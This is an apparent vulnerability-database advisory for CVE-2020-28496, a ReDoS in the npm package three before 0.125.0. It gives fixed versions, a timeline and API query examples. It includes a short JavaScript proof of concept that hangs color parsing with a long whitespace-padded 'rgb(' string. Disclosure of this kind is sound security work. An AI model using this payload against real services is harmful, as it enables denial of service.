CVE-2020-28496
Regular Expression Denial of Service (ReDoS)
Reported by snyk · Published February 18, 2021
three is fixed in 0.125.0 (npm)
This affects the package three before 0.125.0. This can happen when handling rgb or hsl colors. PoC: var three = require('three') function build_blank (n) { var ret = "rgb(" for (var i = 0; i < n; i++) { ret += " " } return ret + ""; } var Color = three.Color var time = Date.now(); new Color(build_blank(50000)) var time_cost = Date.now() - time; console.log(time_cost+" ms")
Fixed versions
Upgrade to a fixed version or later. Language registries are listed first, then Linux distributions, then vendor products.
| Package | Ecosystem | Fixed in |
|---|---|---|
| three | npm | 0.125.0 |
| three | n/a | 0.125.0 |
| three | three_project | 0.125.0 |
Risk scores
Affected products
| Vendor | Product | Versions |
|---|---|---|
| n/a | three | unspecified |
| npm | three | 0 |
| n/a | three | * |
Timeline
- Feb 18, 2021 CVE Published
- Apr 14, 2021 EPSS Score (30 in total, the first dated here)
- Mar 9, 2026 Security Advisory
- Jun 17, 2026 CVE Updated
- Sep 1, 2026 Coalition ESS Score
Query this with the API
The same record, from the CLI:
vulnetix vdb vuln CVE-2020-28496
vulnetix vdb fixes CVE-2020-28496
Or with curl, using the org id and key from your account page:
curl -s -H "Authorization: ApiKey ${VULNETIX_ORG_ID}:${VULNETIX_API_KEY}" \
"https://api.vdb.vulnetix.com/v2/vuln/CVE-2020-28496/fixes/registry"
The Community plan is free and allows 50 queries a day. Get a free API key · API quickstart
References
- x_refsource_MISC
- x_refsource_MISC
- x_refsource_MISC
- x_refsource_MISC
- https://nvd.nist.gov/vuln/detail/CVE-2020-28496 advisory